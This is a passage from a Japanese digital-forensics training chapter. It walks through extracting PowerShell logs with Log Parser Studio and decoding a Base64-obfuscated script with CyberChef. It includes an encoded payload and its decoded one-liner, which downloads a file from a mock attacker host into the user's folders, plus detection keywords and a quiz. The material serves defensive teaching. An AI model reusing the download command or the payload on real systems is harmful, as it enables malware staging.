14章

Hands-on-1

ここでは、イベントログ解析ツール「Log Parser Studio」により、PowerShellの実行痕跡を抽出するハンズオンを行います。

「Log Parser Studio」と「CDIR-A（Log Parser Studio用のカスタムクエリ・ライブラリ）」のセットアップ手順については、前章「不審なイベントの調査」の「Hands-on-2」を参照して下さい。

なお、以後は「Log Parser Studio」を「LPS」と省略します。


ハンズオンの想定

次の想定でハンズオンを実施します。なお、難読化スクリプトの実行履歴が平文で記録される「スクリプトブロックのログ記録」は、有効化されていなかったものとします。

  • 2022年3月11日の19時12分25秒、組織内の IPS（Intrusion Prevention System：侵入防止システム） が、拒否リストに登録されたホスト名「tl.ttt.hckr.jp」のDNS名前解決リクエストを検知して、当該通信を遮断
  • プロキシサーバのログにより発信元PCを特定し、当該PCのイベントログを保全
  • 保全したイベントログファイルを調査して、不審な通信の発生原因を明らかにする


ハンズオンで使用するファイル

解析対象のイベントログファイルは、演習用データの次の相対パスに保存されています。

フォルダ：
s14\h1

ファイル：
Microsoft-Windows-PowerShell%4Operational.evtx
Windows PowerShell.evtx


LPS用カスタムクエリのクエリ実行まで

まず、LPSに設定したCDIR-Aのカスタムクエリにより、PowerShellの実行に関するイベントを抽出しましょう。

解析対象イベントログファイルの指定

  • ログファイルの選択アイコンをクリック


t-1_03


  • 「Log File Manager」ウィンドウから「Add Files」をクリック
  • 前述の解析対象のイベントログファイル（.evtx）を、Ctlrキーを押しながらすべて選択して、「開く」をクリック


t-1_04


  • 「Log File Manager」ウィンドウで、解析対象イベントログファイルのチェックボックスがオンになっていることを確認し、「OK」をクリック


カスタムクエリの実行

  • カスタムクエリの「【PowerShell】全レコード」クエリを選択 → 右クリックメニューから「Run Now」（クエリ実行）を選択


t-1_05


  • 新しいタブ（Q1）に、Microsoft-Windows-PowerShell%4Operational.evtx（Operationalログ）と、Windows PowerShell.evtx（Windows PowerShellログ）の全レコードがパースされるので、「日時」をクリックして昇順ソート（▲マーク）


t-1_06


不審なスクリプト実行履歴の検索

それでは、検知された「tl.ttt.hckr.jp」のDNS名前解決リクエストに関係するスクリプトの実行履歴を検索しましょう。

まず、「tl.ttt.hckr.jp」を検索キーワードとしてSearchを実行します。

１件のイベントがヒットしますので、「Strings」を右クリックして「Pop Out」を選択し、詳細情報を確認しましょう。


  • Operationalログ | 2022/03/11 19:12:27｜イベントID：4100

t-1_07


Base64エンコードで難読化されたスクリプトの実行履歴が確認できます。


t-1_08


このログは、「tl.ttt.hckr.jp」のDNS名前解決が IPS（侵入防止システム）で遮断されたことから、スクリプトが実行エラーとなってOperationalログに記録されたものと推測されます。

Windows PowerShellログの記録も確認してみましょう。

Windows PowerShellログにはエラーメッセージが記録されないため、「tl.ttt.hckr.jp」の検索ではヒットしませんでした。このようにスクリプトが難読化されている場合には、攻撃者がよく使用する実行オプションの「hidden」「bypass」「-en」等で検索してみましょう。

「Search」の検索キーワード入力欄右にある「✕」ボタンを押して、フィルターを一度クリアして下さい。すべてのイベントが再表示されますので、任意に選んだ上記の実行オプションを検索キーワードに入力します。

そうすると、Windows PowerShellログの複数のイベントにも、さきほどのOperationalログと同一のスクリプトが記録されていることが確認できます。


  • Windows PowerShellログ | 2022/03/11 19:12:23 | イベントID：600

t-1_09


LPSを使わずに、標準のイベントビューアーで参照する場合も、検索機能で同様の調査が可能です。ライブフォレンジックの場合は、イベントビューアーで迅速に調査を進める選択もあるでしょう。しかし、大量のデータを扱う場合は、検索ノイズ（過検知）が多くなることも想定されます。その場合は、ログの保全後にLPSで解析するほうが、かえって効率的なケースもあるでしょう。


難読化されたスクリプトが実行履歴に記録されている場合、サイバー攻撃によるものである疑いがあります。

続いて、難読化を解除して、実際に実行されたスクリプトを確認するハンズオンを実施します。


難読化されたPowerShellスクリプトの解読　

Base64エンコードされたスクリプトは、インターネット上に数多く存在するデコードサービスやツールで平文にできます。

注意点として、Base64エンコード化されたPowerShellのスクリプトは、デコードした際にUnicode（UTF-16LE）に変換されますので、Unicodeのテキスト表示にも対応したサービスを使用する必要があります。

イギリス政府通信本部（GCHQ）が無償公開するエンコード／デコードツールの「CyberChef」は、デジタルフォレンジックのエンジニアやリサーチャーがよく利用するものです。CyberChef は、Webサイトでのサービスもありますが、ローカルにダウンロードして使用することもできます。このハンズオンでは、CyberChef を利用して難読化を解除する手順を紹介します。

以下のURLは、CyberChefの公式サイトです。CyberChef を模した類似サイトも存在しますので、Google等の検索エンジンからアクセスする場合は注意して下さい。

https://gchq.github.io/CyberChef/

オンラインで利用することも可能ですが、インシデント調査ではインターネット上の悪性ファイルにアクセスするスクリプトを調査することが多いため、安全性を考慮して、オフラインでの利用を推奨します。


t-1_09_1


次の図は、CyberChefのBase64のデコード手順例（※元のデータがUTF-8 の場合）です。

t-1_10


イベントログから抽出した、Base64難読化スクリプトをデコードしてみましょう。

PowerShellのBase64難読化スクリプトの場合、前述したように、デコード後は Unicode（UTF-16LE）文字列として出力されます。Unicode のままでは読みにくいため、Asciiテキストに変換します。

手順は次のとおりです。

  1. CyberChefの「Input」に、Base64難読化スクリプトをコピー＆ペースト
  2. レシピに、From Base64（Base64をデコード）を追加
  3. 上記レシピの下に、Decode Text「UTF-16LE （1200）」（UTF-16をテキストとして表示）を追加

この手順で、次の図のように難読化が解除できます。なお、「Decode Text」は多くの文字コードに対応しており、「UTF-16」等で検索すると候補リストに表示されます。


  • Base64エンコードされたPowerShellスクリプトのデコード

t-1_11


LPSで抽出したBase64Base64難読化スクリプトは、デコードの結果、次の内容であることがわかりました。

  • 元のスクリプト（Base64）
SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwBUAGwALgB0AHQAdAAuAGgAYwBrAHIALgBqAHAALwBkAG8AYwB1AG0AZQBuAHQALwByAGUAcABvAHIAdAAuAHAAZABmACAALQBPAHUAdABGAGkAbABlACAAJABlAG4AdgA6AFUAUwBFAFIAUABSAE8ARgBJAEwARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAcgBlAHAAbwByAHQALgBwAGQAZgA7AEMAbwBwAHkALQBJAHQAZQBtACAAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAFIATwBGAEkATABFAFwARABvAHcAbgBsAG8AYQBkAHMAXAByAGUAcABvAHIAdAAuAHAAZABmACAAJABlAG4AdgA6AFQARQBNAFAAXAByAGUAcABvAHIAdAAuAHAAZABmAA==
  • 難読化解除後（安全のため一部の文字列をマスク）
Invoke-WebRequest hxxp://Tl.ttt.hckr[.]jp/document/report.pdf -OutFile $env:USERPROFILE\Downloads\report.pdf;Copy-Item  $env:USERPROFILE\Downloads\report.pdf $env:TEMP\report.pdf

このスクリプトは、ワンライナーで以下の処理を行うものです。

  1. Invoke-WebRequestコマンドレットで hxxp://Tl.ttt.hckr[.]jp/document/report.pdfをダウンロード
  2. Copy-Itemコマンドレットで、上記ファイルをダウンロードフォルダからユーザープロファイルのテンポラリーフォルダ（c:\Users\＜ユーザー＞\AppData\Local\Temp\report.pdf）へコピー


以上が、実行された不正なスクリプトの内容・目的を調査する手順の例です。

スクリプトの難読化は、Base64だけなく、複数の方法で多重化されているケースも多くみられます。その場合、動的解析により、安全な環境でスクリプトを実行することが必要な状況も考えられます。

まずはここで紹介したような安全な方法で調査し、さらに詳細な調査が必要な場合は、マルウェア解析の経験や知見がある専門的なエンジニアへ依頼することも検討して下さい。


問題

  • ハンズオンで調査したスクリプト（「Invoke-Request」～「Copy-Item」）によってダウンロードが試行された「report.pdf」は、さらに続いて実行された別のスクリプトによって、「____.exe」へのリネームと起動が試行されています。

    イベントログを調査して、試行されたリネーム後のファイル名（拡張子の.exeを含む）を回答して下さい。

    （回答例：xxxxx.exe）


S14H01

results matching ""

    No results matching ""